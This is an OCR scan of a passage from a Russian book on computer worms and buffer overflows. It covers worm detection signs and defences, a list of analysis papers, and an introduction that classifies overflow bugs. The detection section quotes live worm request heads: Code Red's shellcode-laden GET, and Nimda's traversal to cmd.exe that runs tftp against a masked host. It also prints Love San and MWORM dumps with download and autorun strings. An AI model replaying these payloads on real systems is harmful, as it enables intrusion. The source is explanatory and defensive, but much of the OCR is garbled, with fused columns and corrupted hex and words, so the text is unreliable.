Достаточно поместить наживку — файлы, которые при нормальных обстоятель- ствах никогда и никем не открываются (в том числе и антивирусными демона- ми, установленными в системе), но с ненулевой вероятностью будут замечены и проглочены червем. Достаточно лишь периодически контролировать время последнего доступа к ним. Другой верный признак червя — ненормальная сетевая активность. Подавля- ющее большинство известных на сегодняшний день червей размножается с не- прилично высокой скоростью, вызывающей характерный взлет исходящего трафика. Также могут появиться новые порты, которые вы не открывали и ко- торые непонятно кто прослушивает. Впрочем, прослушивать порт можно и без го открытия — достаточно лишь внедриться в низкоуровневый сетевой сер- вис. Поэтому к показаниям анализаторов трафика следует относиться со здо- пе 1 Долев скептицизма, если, конечно, они не запущены на отдельной маши- Т. которую червь гарантированно не сможет атаковать. кетом>- 11рИзнаком служат пакеты с подозрительным содержимым. Под «па- чой почт"^ Понимаются ,,е только TCP/IP-пакеты, по и сообщения электрон- К|,Роват .’ СОДСР>каи1ис откровенно «левый» текст (впрочем, червь может мас- не хватит^ И П°Л спам’а тщательно исследовать каждое спамСУерское письмо "Рчдпоч НИ НеРВОВ1 ни времени). TCP-пакеты в этом смысле намного более "скать? у ельны> поскольку их анализ удается автоматизировать. Что следует т«кц можно Версальнь1х Речнений не существует, но кое-какие наметки дать все- ХаРактерн10 В частн°сти, применительно к web-серверам и запросам типа GET * '’Мен М пРиз"ак°м shell-кода являются: admin {^|°МанднЬ1х интерпретаторов (cmd.exe, sh), системных библиотек типа * "осле И ПодоР,НЬ1х им файлов; Прибт^ОВательн°сть из трех и более машинных команд NOP, записываемая °ЛИзИтельнотак:«и9090;
110 Глава 3. Жизненный цикл че₽ае, • машинные команды CALL ESP, JMP ESP, INT 80h и другие подобные нм (По ный список занимает слишком много места и поэтому здесь не приводИТсяу • бессмысленные последовательности вроде .\.\.\ или XXX, используемыевц. русом для переполнения. Однако не пытайтесь напрямую дизассемблировать двоичный код, содержащие- ся в пакете, выглядящем как пакет, предназначенный для срыва стека и подрц. ва авторитета системы. Поскольку заранее неизвестно, на какой именно бай- shell-кода передается управление, точку входа определить не так-то пре и вовсе не факт, что ею окажется первый байт пакета или двоичного кода. I возлагайте на авторизированный поиск больших надежд — он срабатывает леко не всегда. Достаточно слегка зашифровать shell-код, и все признаки чс немедленно исчезнут. Впрочем, поскольку размер переполняемого буфера частую очень и очень мал, втиснуть в отведенный объем головы вируса < и шифровщик не так-то просто. Во всяком случае, тройка крупнейших червей легко обнаруживается автомат; зированным анализом: и Code Red, и Nimda, и Slammer... (листинги 3.4,3.5). Листинг 3.4. Голова червя Code Red, приходящая в первом ТСР-пакете GET /default. Ida? ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ хххххххххххххххххххххххххххх ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ »u9090Xu6858«ucbd3»u780Uu9090Xu6858»ucbd3Xu780Hu9090Xu6858Xucbd3«u780nu9093Xu9C90 »u8190»u00c3«u0003»u8b00xu531bxu53fftu0078xu0000xu00= a HTTP 1.0 Content- type: text/ xml. Content- length: 3379 Листинг 3.5. Голова червя Nimda GET /sen pts/..*cOX2f../wi nnt/system32/cmd.exe?/ c+tftp^20- i X20XXX .XXX XXX. XXXX20GEn20Admi n. dl 1 X20c: \Admi n. dl 1 Если червь содержит в себе незашифрованные текстовые строки (a MH°^Tfi) червей устроены именно так!), то злобный характер его натуры распоз уже при беглом просмотре HEX-кода исследуемого файла (листинг З.о)- Листинг 3.6. Фрагмент вируса MWORM 00005FAO: 47 45 54 20 2F 73 63 72 | 69 70 74 73 2F 2Е 2Е 25 GET /scripts/.» OOOC5FBO: 63 31 25 31 63 2Е 2Е 2F | 77 69 6Е 6Е 74 2F 73 79 сШс. ,/winnt/sy 00D05FC0: 73 74 65 6D 33 32 2F 63 | 6D 64 2Е 65 78 65 ЗЕ 2F stem32/cmd.exe?/ D0005FD0: 63 2В 63 6F 70 79 25 32 | 30 63 ЗА 5С 77 69 6Е 6Е c+copy»20c:\winn D0005FE0: 74 5С 73 79 73 74 65 6D | 33 32 5С 63 6D 64 2Е 65 t\system32\cmd.e
Ill --------------------------------------------------- fi 65 25 32 30 63 ЗА 5C | 40 77 6F 72 60 2E 65 78 xeS;20c:\Mworm.ex 00005ff°: 18 48 54 54 50 2F 31 | 2E 3C 00 0A 00 OA 00 00 e HTTP/l.OdOdO ООООбООО- jc черви в целях уменьшения своих размеров и, не в последнюю оче- р)екот тсКИрОВКц, сжимаются тем или иным упаковщиком исполняемых про- редь, М‘ анализом их необходимо распаковать (листинг 3.7). грамм, и 3 7. фрагмент вируса Love San после распаковки ЕС- 77 69 6Е 64 6F 77 73 75 | 70 64 61 74 65 2Е 63 Z? ЕС: 60 00 25 73 0А 00 73 74 | 61 72 74 20 25 73 0А ППП22ОС: 74 66 74 70 20 20 69 20 | 25 73 20 47 45 54 20 Т000221С- 73 0А 00 25 64 2Е 25 64 | 2Е 25 64 2Е 25 64 00 0000222С- 69 2Е 25 69 2Е 25 69 2Е | 25 69 00 72 62 00 40 0000223С: 64 00 2Е 00 25 73 00 42 | 49 4С 4С 59 СО 77 69 0QQ0224C: 64 6F 77 73 20 61 75 74 | 6F 20 75 70 64 61 74 0000225С-. 00 53 4F 46 54 57 41 52 | 45 50 4D 69 63 72 6F 00002260 : 6F 66 74 50 57 69 6Е 64 > 6F 77 73 50 43 75 72 00002270: 65 6Е 74 56 65 72 73 69 ] 6F 6,; 50 52 75 6Е 00 6F wi ndowsupdate.со 00 m 2s0 start £s0 25 tftp -i %s GET 25 sO % 00 i Д1 ,*i rb M 6E d . Xs BILLY win 65 dows auto update 73 SOFTWARE\Micros 72 oft\i4indows\Curr 00 entVersiorARun Ищите в дампе подозрительные сообщения, команды различных прикладных протокотов (GET, HELD п т. д.), имена системных библиотек, файлов-иптерпрета- торов, команды операционной системы, символы конвейера, доменные имена сайтов, обращение к которым вы не планировали и в чьих услугах, судя по все- му, не нуждаетесь, IP-адреса, ветви реестра, ответственные за автоматический запуск программ и т. д. При поиске головы червя используйте тот факт, что shell-код эксплоита, как правило, размещается в секции данных и содержит легко узнаваемый машин- ный код. В частности, команда CDh 80h (INT 80h), ответственная за прямой вы- зов системных функций операционных систем семейства LINUX, встречается практически во всех червях, обитающих на этой ОС. Вообще говоря, проанализировав десяток различных червей, вы настолько про- никнетесь концепциями их устройства, что без труда распознаете знакомые РУкции и в других организмах. А заочно червей все равно не изучить. ПОБОРОТЬ ЧЕРВЯ — Как же тогда справиться с червями? — Мне неизвестно оружие, кроме атомного, взрывчатой силы которого было бы достаточно для уничтожения чер- вя целиком. Френк Херберт. «Дюна» ЗВав1иие^)Ванно заШититься от червей нельзя. С другой стороны, черви, вы- 1и|аток,ат₽У11МЫе ЭП|1-'1емии, все до единого появлялись уже после выхода за- кУя Компьютеры, не обновляемые в течение нескольких месяцев, а то
9 112 Глава 3. Жизненный цикл и лет! В отношении серверов, обсуживаемых лицами, претендующими na3ej ние «администратора», это, бесспорно, справедливая расплата за небрежное,, и бездумность. Но с домашними компьютерами не все так просто. У среднеСТа. тического пользователя ПК нет ни знаний, ни навыков, ни времени, пи дснегц, регулярное выкачивание из сети сотен мегабайт всякого дерьма, гордо пмещ-. ющего себя Service Раск’ом и зачастую устанавливающегося только после ц-. рии магических заклинаний и танцев с бубном. Неквалифицированные пользе, ватели в своей массе никогда не устанавливали обновления и никогда не будут устанавливать! Важно понять, что антивирусы вообще не могут справиться с червями. В прин- ципе. Потому что, исцеляя машину, они не устраняют брешь в системе безопас- ности, и вирус приползает вновь и вновь. Не стоит возлагать особых надежд и на брандмаузеры. Да, они могут оперативно закрыть уязвимый порт или от- фильтровать сетевые пакеты с сигнатурой вируса внутри. При условии, что вирус атакует порт той службы, которая не очень-то и нужна, брандмаузер дей- ствительно работает безотказно (только если не может быть атакован сам). Хуже если червь распространяется через такой широко распространенный сервис как, например, WEB. Закрывать его нельзя и приходится прибегать к анали- зу TCP/IP-трафика на предмет наличия в нем следов того или иного червя, то есть идти по пути выявления вполне конкретных представителей киберне- тической фауны. Хотя отдельные фирмы и предлагают высокопроизводительные аппаратные сканеры (рис. 3.3), построенные на программируемых логических устройствах, сокращенно именуемых PLD — от Programmable Logic Devices (www.arl.wustl.edu/ ~lockwood/publications/MAPLD_2003_el0_lockwood_p.pdf), — в целом ситуация оста- ется довольно удручающей, причем ни один из представленных на рынке ска- неров не способен распознавать полиморфных червей, так как для осуществле- ния этой операции в реальном времени потребуются весьма нехилые аппаратньк мощности, и стоимость получившегося агрегата рискует оказаться сопостави- мой с убытками, наносимыми самими червями (а в том, что такие черви когда- нибудь да появятся, сомневаться не приходится). Впрочем, программные ска- неры сокращают пропускную способность системы еще больше... Жестокая, но зато кардинальная мера — заблаговременно создать слепок опе- рационной системы вместе со всеми установленными приложениями и в ответ- ственных случаях автоматически восстанавливать один раз в сутки или, по край- ней мере, один раз в месяц. В частности, в операционных системах семейства NT это можно сделать с помощью штатной программы backup и встроенной’ планировщика. Правда, если червь поражает пользовательские файлы (напри- мер, файлы документов, письма электронной почты, скачанные web-странич1'11 и т. д.), это ничем не поможет. Теоретически факт искажения пользовательски' файлов могут выявить ревизоры и системы контроля версий, практически*1' они с трудом отличают изменения, вызванные вирусом, от изменений, сделан- ных самим пользователем. Но не будем забывать о возможности подложить
113 Интересные ссылки на сетевые ресурсы_________________ —--— вирусу дроэофиллу, целостность которой мы и будем время от р (юлировать. Рис. 3.3. Так может выглядеть аппаратный анализатор трафика ИНТЕРЕСНЫЕ ССЫЛКИ НА СЕТЕВЫЕ РЕСУРСЫ Attacks of the Worm Clones — Can we prevent them Материалы RSA Conference 2003 от Symantec, содержат множество красоч- ных иллюстраций, которые стоят того, чтобы на них посмотреть. http://www.rsaconference.com/rsa2003/europe/tracks/pdfs/hackers_tl4_szor.pdf An Analysis of the Slapper Worm Exploit Подробный анализ червя Slapper от Symantec, ориентированный на профес- сионалов, настоятельно рекомендуется всем тем, кто знает Си и не шараха- ется от ассемблера. http://securityresponse.symantec.com/avcenter/reference/analysis.slapper.worm.pdf Inside the Slammer Worm Анализ червя Slammer, ориентированный на эрудированных пользователей ПК, тем не менее достаточно интересен и для администраторов. http://www.cs.ucsd.edu/~savage/papers/IEEESP03.pdf An Analysis of Microsoft RPC/DCOM Vulnerably Обстоятельный анализ нашумевшей дыры в NT/W2K/XP/2003, рекомен- дуется. http://www.inetsecurity.info/downloads/papers/MSRPCDCOM.pdf The Internet Worm Program: An Analysis Исторический документ, выпущенный по следам червя Морриса и содеп- жащий подробный анализ его алгоритма. http://^^ cerias.purdue.edu/homes/spaf/tech-reps/823.pdf
114 Глава 3. Жизненный^ With Microscope and Tweezers: An Analysis of the Internet Virus of N 1988 ^ber Еще один исторический анализ архитектуры червя Морриса. http://www.deter.com/unix/papers/internet_worm.pdf The Linux Virus Writing And Detection HOWTO Любопытная вариация на тему «пишем вирус и антивирус для Linux» http://www.rootshell.be/~doxical/download/docs/linux/Writing_Virus_in_Linux pdf Are Computer Hacker Break-ins Ethical? Этично ли взламывать компьютеры или нет, вот в чем вопрос! http://www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf Simulating and optimising worm propagation algorithms Анализ скорости распространения червя в зависимости от различных усло- вий, рекомендуется для людей с математическим складом ума. http://downloads.securityfbcus.com/library/WormPropagation.pdf Why Anti-Virus Software Cannot Stop the Spread of Email Worms? Статья, разъясняющая причины неэффективности антивирусного программ- ного обеспечения в борьбе с почтовыми вирусами, настоятельно рекомен- дуется для ознакомления всем менеджерам по рекламе Антивирусов. http://www.interhack.net/pubs/email-trojan/email-trojan.pdf Просто интересные документы по червям россыпью http://www.dwheeler.com/secure-programs/secure-programming-handouts.pdf http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/prodlit/sawrm_wp.pdf http://engr.smu.edu/~tchen/papers/Cisco%20IPJ_sep2003.pdf http://crypto.stanford.edu/csl55/lecturel2.pdf http://www.peterszor.com/slapper.pdf
ГЛАВА 4 ОШИБКИ ПЕРЕПОЛНЕН ИЗВНЕ И ИЗНУТРИ, в которой карма переполняющихся буферов медленно R Ляп подрывающее уязвимое приложение изнутри -мы живем в жестоком мире, программное ио содержит дыры, многие из которых размерами сс вирусы и черви, совершающие набеги изо всех к- стоят антивирусы, заплатки, брандмаузеры и дру ющие лишь на бумаге и бессильные сдержан рал ной жизни. Сеть небезопасна — это факт. Можно Билла Гейтса тухлыми яйцами и кремовыми тор юн- ли изменится. Анализ показывает, что подавляющее большинсю основаны на ошибках переполнения буфера, кию^ НЬ|и характер и которых не избежало практически ни ом ложение. Попытка разобраться в этой на первый взгляд до Затейливой проблеме безопасности погружает вас в удиви. приключений и интриг. Захват управления системой путем nt Ра — сложная инженерная задача, требующая нетриьио/^ Превосходной экипировки. Диверсионный код, заорошенныи
116 Глава 4. Ошибки переполнения буфера извне и ---------------------------------------ДЗНу^ находится в весьма жестких и агрессивных условиях, не обеспечивающИх нимального уровня жизнедеятельности. и>1и- И если вам нужен путеводитель по стране переполняющихся буферов женный исчерпывающим руководством по выживанию, — эта глава для снаб- вау ФИЛОСОФСКОЕ НАЧАЛО Чудовищная сложность современных компьютерных систем неизбежно пр» водит к ошибкам проектирования и реализации, многие из которых позволяют злоумышленнику захватывать контроль над удаленным узлом или делать с ним что-то нехорошее. Такие ошибки называются дырами, или уязвимостями (holes и vulnerability соответственно). Мир дыр чрезвычайно многолик и разнообразен: это и отладочные люки, и сла- бые механизмы аутентификации, и функционально-избыточная интерпрета- ция пользовательского ввода, и некорректная проверка аргументов, пт.л. Классификация дыр чрезвычайно размыта, взаимно противоречива и затруд- нена (во всяком случае, своего Карла Линнея дыры еще ждут), а методики их поиска и «эксплуатации» не поддаются обобщению и требуют творческого подхода к каждому отдельно взятому случаю. Было бы наивно надеяться,что одна единственная публикация сможет описать весь этот зоопарк! Давайте лучше сосредоточимся па ошибках переполнения буферов {bufferoverflow/ overrun) как на наиболее важном, популярном, перспективном и приоритет- ном направлении. Большую часть главы мы будем витать в бумажных абстракциях теоретических построений и лишь к концу спустимся на ассемблерную землю, обсуждая наи- более актуальные проблемы практических реализаций. Нет, не подумайте. Никто не собирается в сотый раз объяснять, что такое стек, адреса памяти и от куда они растут! Эта глава рассчитана на хорошо подготовленную читатель скую аудиторию, знающую ассемблер и бегло изъясняющуюся на Си/Сп++ словаря. Как происходит переполнение буфера вы, вероятно, уже представляе те, и теперь хотели бы ознакомится с полным списком возможностей, прел0 ставляемых переполняющимися буферами. Какие цели можетпреследоватьата кующий? По какому принципу происходит отбор наиболее предпочтител объектов атаки? Ну и т. д.... Другими словами, сначала мы будем долго и нудно говорить о том, что м°^н, сделать с помощью переполнения и лишь затем перейдем к вопросу, <<каК но это сделать». Описанные приемы работоспособны на большинстве процессорных аР т, тур и операционных систем (например, UNIX/SPARC). Пусть вас не ему что приводимые примеры в основном относятся к Windows NT и проиЛВ (|С от нее системам. Просто в момент написания другой операционной систе оказалось под рукой.
СилосоФ«0^4^-------------------------------------------------------117 МЯСНОЙ РУЛЕТ ОШИБОК ПЕРЕПОЛНЕНИЯ, или ПОПЫТКА КЛАССИФИКАЦИИ (СКУКА СМЕРТНАЯ) Согласно «Новому Словарю Хакера» Эрика Раймонда, ошибки переполнения буфера - это ...то, что с неизбежностью происходит при попытке засунуть в буфер больше, чем тот может переварить. На самом деле это всего лишь частный случай последовательного переполне- ния при записи (листинг 4.1). Помимо него, существует индексное переполне- ние, заключающееся в доступе к произвольной ячейке памяти за концом буфе- ра, где под «доступом» понимаются как операции чтения, так и операции записи (листинг 4.2). Переполнение при записи приводит к затиранию, а следовательно, искажению одной или нескольких переменных (включая служебные переменные, внедряе- мые компилятором, такие, например, как адреса возврата или указатели this), нарушая тем самым нормальный ход выполнения программы и вызывая одно из следующих последствий: • нет никаких последствий; • программа выдает неверные данные или, попросту говоря, делает из чисел винегрет; • программа «вылетает», зависает или аварийно завершается с сообщением об ошибке; • программа изменяет логику своего поведения, выполняя незапланирован- ные действия. Переполнение при чтении менее опасно, так как «всего лишь» приводит к по- тенциальной возможности доступа к конфиденциальным данным (например, паролям или идентификаторам TCP/IP соединения). Листинг 4.t. Пример последовательного переполнения буфера при записи seq_write(char *р) char buff[8]: j strcpytbuff. р): Листинг 4.2. Пример индексного переполнения буфера при чтении J^writeOnt 1) char buff[j=',oi23456789": ceturn buff[i]:
118 Глава 4. Ошибки переполнения буфера извив, --------——-------------------------——-Дфчну За концом буфера могут находиться данные следующих типов: • другие буферы; • скалярные переменные; • указатели. Или же вовсе может не находиться ничего (например, невыделенная страни памяти). Теоретически за концом буфера может располагаться исполняем"" код, но на практике такая ситуация почти никогда не встречается. Ы11 Наибольшую угрозу для безопасности системы представляют именно указате- ли, поскольку они позволяют атакующему осуществлять запись в произволь ные ячейки памяти или передавать управление по произвольным адресам, на- пример, на начало самого переполняющегося буфера, в котором расположен машинный кол, специально подготовленный злоумышленником и обычно на- зываемы й shel 1 -кодом. Буферы, располагающиеся за концом переполняющегося буфера, могут хранить некоторую конфиденциальную информацию (например, пароли). Раскрытие чужих паролей, равно как и навязывание атакуемой программе своего пароля - вполне типичное поведение для атакующего. Скалярные переменные могут хранить индексы (и тогда они фактически при- равниваются к указателям), флаги, определяющие логику поведения програм- мы (в том числе и отладочные люки, оставленные разработчиком), и прочую информацию. В зависимости от своего местоположения буферы делятся на три независимые категории; 1. Локальные буферы, расположенные в стеке и часто называемые автомати- ческими переменными. 2. Статичные буферы, расположенные в секции (сегменте) данных. 3. Динамические буферы, расположенные в куче. Все они имеют свои специфичные особенности переполнения, которые мы обя зательно рассмотрим во всех подробностях, но сначала немного пофнл°с0* ствуем. НЕИЗБЕЖНОСТЬ ОШИБОК ПЕРЕПОЛНЕНИЯ В ИСТОРИЧЕСКОЙ ПЕРСПЕКТИВЕ Ошибки переполнения — это фундаментальные программистские ошибку торые чрезвычайно трудно отслеживать и фундаментальность которых печивается самой природой языка Си — наиболее популярного языка мировапия всех времен и народов — а точнее, его низкоуровневым ха^а.т11ццо- взаимодействия с памятью. Поддержка массивов реализована лишь час у и работа с ними требует чрезвычайной аккуратности и внимания со с программиста. Средства автоматического контроля выхода за грашШЫ^^,. ствуют, возможность определения количества элементов массива по У1 лю и не ночевала, строки, завершающиеся нулем, — вообще песня-
119 -— в том, что малейшая небрежность и забытая или некорректно дело да^СинаЯ проверка аргументов, приводит к потенциальной уязвимости реа.’1Нз0В‘ |<орректную проверку аргументов невозможно осуществить прогрэм- рассмотрнм функцию, определяющую длину переданной ей стро- в Ирин111 оЛЬно читающую эту строку до встречи с завершающим ее нулем, к» в ,,0^авер1паю1цего ноля на конце не окажется? Тогда функция вылетит за Х ССЛ,11 утвержденного блока памяти и пойдет чесать испаханную целину по- 1>СД1 ней оперативной памяти! В лучшем случае это закончится выбро- ''^исключения. В худшем — доступом к конфиденциальным данным. Мож- "копечно, передать максимальную длину строкового буфера с отдельным ""гументом, но кто поручится, что она верна? Ведь этот аргумент приходится ? пмировать вручную, и, следовательно, он не застрахован от ошибок. Коро- че говоря, вызываемой функции ничего не остается, как закладываться на кор- ректность переданных ей аргументов, а раз так — о каких проверках мы вооб- ще говорим?! Далее, выделение буфера возможно лишь после вычисления длины при- нимаемой структуры данных, то есть должно осуществляться динамичес- ки. Это препятствует размещению буферов в стеке, поскольку сгековые буферы имеют фиксированный размер, задаваемый еще па стадии компи- ляции. Зато стековые буферы автоматически освобождаются при выходе из функции, снимая это бремя с плеч программиста и предотвращая по- тенциальные проблемы с утечками памяти. Динамические буферы, выде- ляемые из кучи, намного менее популярны, поскольку их использование уродует структуру программы. Если раньше обработка текущих ошибок сводилась к немедленному return’y, то теперь перед выходом из функции приходится выполнять специальный код, освобождающий все, что програм- мист успел к этому времени «понавыделять». Без критикуемого goto (ко- торое само по себе нехилый «глюкодром») эта задача решается только глу- око вложенными if’aMH, обработчиками структурных исключений, макросами или внешними функциями, что захламляет листинг и служит источником многочисленных и трудноуловимых ошибок. йюгие библиотечные функции (например, gets, sprintf) не имеют никаких ки п В огГ>а11Иче,111я Длины возвращаемых данных н легко вызывают ошиб- ческ11^П°ЛПеП11я' Руководства но безопасности буквально кишат категори- аналоги 3аПР<?ТаМИ НЯ ис,1ОЛЬЗОвание последних, рекомендуя их «безопасные» длинуfi >a,^9etS И snprint^ явно специфицирующие предельно допустимую ногопередаваемую в специальном аргументе. Помимо пеоправдаи- ,,роблемР°МОЖлсния Листинга посторонними аргументами и естественных |<ОгДа о С ИХ СИ|,хР°иизацией (при работе со сложными структурами данных, 4лицы н'ел,,|,ственный буфер хранит много всякой всячины, вычисление Лесков з.СТаВ1Пегося <<хв<>ста» становится не такой уж очевидной арифмети- с^киваДаЧеЙ’ И злесь °чень легко допустить грубые ошибки), программист "Ьц Как СЯ С необх°ДИмостью контроля целостности обрабатываемых дан- ^..ЫИ/МИ1,ИМУМ необходимо убедиться, что данные не были варварски об- ,)С:,ацИеК]Или Усечены, а как максимум - корректно обработать ситуацию с об- '• А что мы, собственно, здесь можем сделать? Увеличить буфер
120 Глава 4. Ошибки переполнения буфера извне и изнутри и повторно вызвать функцию, чтобы скопировать туда остаток? Не слишком, то элегантное решение, к тому же всегда существует вероятность потерять за- вершающий нуль на конце. В Си++ ситуация с переполнением обстоит намного лучше, хотя проблем все равно хватает. Поддержка динамических массивов и «прозрачных» текстовых строк наконец-то появилась (и это очень хорошо), но подавляющее больщцн. ство реализаций динамических массивов работают крайне медленно, а строки тормозят еще сильнее, поэтому в критических участках кода от них лучше сра- зу же отказаться. Иначе и быть не может, поскольку существует только один способ построения динамических массивов переменной длины — представле- ние их содержимого в виде ссылочной структуры (например, двунаправленно- го списка). Для быстрого доступа к произвольному элементу список нужно индексировать, а саму таблицу индексов где-то хранить. Таким образом, чте- ние/запись одного единственного символа выливается в десятки машинных команд и множество обращений к памяти (а память была, есть и продолжает оставаться самым узким местом, существенно снижающим общую производи- тельность системы). Даже если компилятор вдруг решит заняться контролем границ массива (одно дополнительное обращение к памяти и три-четыре машинные команды), это не решит проблемы, поскольку при обнаружении переполнения откомпилирован- ная программа не сможет сделать ничего умнее, чем аварийно завершить свое выполнение. Вызов исключения не предлагать, поскольку если программист забудет его обработать (а он наверняка забудет это сделать), мы получим атаку типа «отказ в обслуживании». Конечно, это не захват системы, но все равно нехорошо. Так что ошибки переполнения были, есть и будут! От этого никуда не уйти, и коль скоро мы обречены на длительное сосуществование с последними, бу- дет нелишним познакомиться с ними поближе... ОКУТАННЫЕ ЖЕЛТЫМ ТУМАНОМ МИФОВ И ЛЕГЕНД Журналисты, пишущие о компьютерной безопасности, и эксперты по безопас- ности, зарабатывающие на жизнь установкой этих самых систем безопасности, склонны преувеличивать значимость и могущество атак, основанных на пере" полпенни буфера. Дескать, хакеры буферы гребут лопатой, и, если не принять адекватных (и весьма дорогостоящих!) защитных мер, ваша информация пре вратится в пепел. Все это так (ведь и на улицу лишний раз лучше не выходить — случается, что и балконы падают), но за всю историю существования компьютерной ипдУсТ рии не насчитывается и десятка случаев широкомасштабного использован переполняющихся буферов для распространения вирусов или атак. Отчасти по тому, что атаки настоящих профессионалов происходят бесшумно. ОтчаС потому, что настоящих профессионалов среди современных хакеров пра1<1 чески совсем не осталось... Наличие одного или нескольких переполняющихся буферов еще ни о чеМ говорит, и большинство ошибок переполнения не позволяет атакующему пр°
Философск2!2±^ 121 1. 2. 4. инуться дальше банального DoS’a. Вот неполный перечень ограничений, с ко- сыми приходится сталкиваться червям и хакерам: Строковые переполняющиеся буферы (а таковых среди них большинство) не позволяют внедрять символ нуля в середину буфера и препятствуют вводу некоторых символов, которые программа интерпретирует особым образом. Размер переполняющихся буферов обычно оказывается катастрофически май для вмещения в них даже простейшего загрузчика или затирания сколько ннбудь значимых структур данных. 3 Абсолютный адрес переполняющегося буфера атакующему чаще всего не- известен, поэтому приходится оперировать относительными адресами, что очень непросто с технической точки зрения. Адреса системных и библиотечных функций меняются от одной операци- онной системы к другой — это раз; ни на какие адреса уязвимой программы также нельзя закладываться, поскольку они непостоянны (особенно это ак- туально для UNIX-приложений, компилируемых каждым пользователем самостоятельно), — а это два. Наконец, от атакующего требуется глубокое знание команд процессора, ар- хитектуры операционной системы, особенностей различных компиляторов языка, свободное от академических предрассудков мышление, плюс уйма свободного времени для анализа, проектирования и отладки shell-кода. А теперь для контраста перечислим мифы противоположной стороны — сторо- ны защитников информации, с какой-то детской наивностью свято верящих, что от хакеров можно защититься хотя бы в принципе: 1. 5. Не существует никаких надежных методик автоматического (или хотя бы полуавтоматического) поиска переполняющихся буферов, дающих удовле- творительный результат, и по-настоящему крупные дыры не обнаружива- ются целенаправленным поиском. Их открытие — игра слепого случая. Все разработанные методики борьбы с переполняющимися буферами сни- жают производительность (подчас очень значительно), но не исключают возможности переполнения полностью, хотя и портят атакующему жизнь; Межсетевые экраны отсекают лишь самых примитивнейших из червей, за- пружающих свой хвост через отдельное TCP/IP-соединение, отследить же ПеРедачу данных в контексте уже установленных TCP/IP-соединений ни- какой межсетевой экран не в силах. Су КраткСТ°В^ЮТ Сотии ТЬ1СЯЧ публикаций, посвященных проблеме переполнения, есть МН список которых был приведен в конце предыдущей главы. Среди них Cog /^уникальные работы, так и откровенный поросячий визг, подогреваемый боРаТВеИН°й крутизной (мол, смотрите, я тоже стек сорвал! Ну и что, что в ла- Но р Рных условиях?!). Статьи теоретиков от программирования элементар- Чри • ЗНа|°тся замалчиванием проблем, с которыми сразу же сталкиваешься своейНадИЗе полн°весных приложений и проектировании shell-кодов (по сути являющихся высокоавтономными роботами). 2. 3.
122 Глава 4. Ошибки переполнения буфера извне и ю., ----------------------------------------— Большинство авторов ограничивается исключительно вопросами последов тельного переполнения автоматических буферов, оттесняя остальные вцдЫп реполнений на задний план, в результате чего у многих читателей создаем выхолощенное представление о проблеме. На самом деле мир переполняющие буферов значительно шире, многограннее и интереснее, в чем мы сейчас и убе димся. ПОХОРОНЕННЫЙ ПОД ГРУДОЙ РАСПЕЧАТОК ИСХОДНОГО И ДИЗАССЕМБЛЕРНОГО КОДА Как происходит поиск переполняющихся буферов и как осуществляется про- ектирование shell-кода? Первым делом выбирается объект нападения, роль которого играет уязвимое приложение. Если вы хотите убедиться в собствен- ной безопасности или атаковать строго определенный узел, вы должны ис- следовать конкретную версию конкретного программного пакета, установлен- ного на конкретной машине. Если же вы стремитесь прославиться на весь мир или пытаетесь сконструировать мощное оружие, дающее вам контроль над десятками тысяч, а то и миллионами машин, ваш выбор становится уже не таким однозначным. Прежде всего это должна быть широко распространенная и по возможности малоисследованная программа, исполняющаяся с наивысшими привилегиями и сидящая па портах, которые не так-то просто закрыть. Разумеется, с точки зрения межсетевого экрана все порты равноценны и ему абсолютно все равно, что закрывать. Однако пользователи сетевых служб и администраторы придер- живаются другого мнения. Если от 135-го порта, используемого червем Love San, в подавляющем большинстве случаев можно безболезненно отказаться (лично автор «Записок...» именно так и поступил), то без услуг того же vveb-сервера обойдешься едва ли. Чем сложнее и «монстроузнее» исследуемое приложение, тем больше веро- ятность обнаружить в нем критическую ошибку. Следует также обращать вни- мание и на формат представления обрабатываемых данных. Чаще всего пере- полняющиеся буферы обнаруживаются в синтаксических анализаторах, выполняющих парсинг текстовых строк, однако большинство этих ошибок уже давно обнаружено и устранено. Лучше искать переполняющиеся буфера там, где до вас их никто не искал. Народная мудрость утверждает: хочешь что- то хорошо спрятать — положи это на самое видное место. На фоне нашумеВ ших эпидемий Love San'а и Slapper’a с этим трудно не согласиться. Кажется невероятным, что такие очевидные переполнения до последнего времени оста вались необнаруженными! Наличие исходных текстов одновременно желательно и нежелательно. Же-па тельно — потому что они существенно упрощают и ускоряют поиск переполни ющихся буферов, а нежелательно... по той же самой причине! Как говорится- больше народу — меньше кислороду. Действительно, трудно рассчитывать паи что-то повое в исходнике, зачитанном всеми до дыр. Отсутствие исходи ых теК стов существенно ограничивает круг исследователей, отсекая многочислен!1.' армию прикладных программистов и еще большую толпу откровенных непр°
123 Фило2!*>-^ .. , й в Здесь, в прокуренной атмосфере ассемблерных команд, выжива- <(к’Сс,,оИтоТ кто программирует быстрее, чем думает, а думает быстрее, чем го- ст лиДф. ’а.о может удержать в голове сотни структур данных, буквально на вор“т- м уровне ощущая их взаимосвязь и каким-то шестым чувством уга- физи4 направлении нужно копать. Собственный программистский опыт дывая> в приветствоваться. Так лете вжиться в привычки, характер и об- м°>ксГ 1енИЯ разработчика исследуемого приложения. Задумайтесь, а как бы размЫ1Д- данную задачу, окажись на его месте? Какие бы могли допустить ВЫ и? Глебы проявили непростительную небрежность, соблазнившись ко.м- *>аь”|10Стью кода и элегантностью листинга? К тати об элегантности. Бытует мнение, что неряшливый стиль программного кола неизбежно провоцирует программиста на грубые ошибки (и ошибки пере- полнения в том числе). Напротив, педантично причесанная программа ошибок, скорее всего, не содержит и анализировать ее — означает напрасно тратить свое время. Как знать... Автору приходилось сталкиваться с вопиюще небрежными листингами, которые работали как часы, потому что были сконструированы настоящими профессионалами, наперед знающими, где подстелить соломку. Встречались и по-академически аккуратные программы, дотошно и не по од- ному разу проверяющие все, что только можно проверить, но буквально нашпи- гованные ошибками переполнения. Тщательность сама по себе еще ни от чего не спасает. Для предотвращения ошибок нужен богатый программистский опыт, — и опыт, оставленный граблями в том числе. По вместе с опытом зачас- тую появляется и вальяжная небрежность — своеобразный «отходяк» от юно- шеского увлечения эффективностью и оптимизацией. Признаком откровенного непрофессионализма является пренебрежение #defin’aMH или безграмотное использование последних. В частности, если раз- мер буфера buff 